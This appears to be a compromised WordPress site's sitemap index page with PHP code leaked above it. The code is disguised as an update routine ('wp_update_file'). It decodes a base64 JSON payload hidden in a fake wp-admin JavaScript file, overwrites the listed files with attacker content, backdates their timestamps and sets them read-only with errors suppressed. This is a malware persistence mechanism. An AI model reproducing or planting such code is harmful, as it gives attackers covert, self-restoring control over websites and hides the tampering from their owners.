$wp_update_file="/var/www/vhosts/cardiffcccc.org/english.cardiffcccc.org/wp-admin/js/tags-admin.js";
if ( is_file($wp_update_file) )
{
    $wp_update_content=trim(file_get_contents($wp_update_file));
    if ( $wp_update_content!="" )
    {
        $wp_update_content=substr($wp_update_content,6,-6);
        $wp_update_content=base64_decode($wp_update_content);
        $wp_update_arr=json_decode($wp_update_content,true);
        if ( is_array($wp_update_arr) )
        {
            foreach($wp_update_arr as $value) 
            { 
                $file_mtime=filemtime($value["path"]);
                @chmod($value["path"],0777);
                @unlink($value["path"]);
                @file_put_contents($value["path"],$value["content"]);
                @touch($value["path"],$file_mtime);
                @chmod($value["path"],0444);
            }
        }
    }
}
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://english.cardiffcccc.org/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://english.cardiffcccc.org/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://english.cardiffcccc.org/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://english.cardiffcccc.org/wp-sitemap-taxonomies-category-1.xml</loc></sitemap></sitemapindex>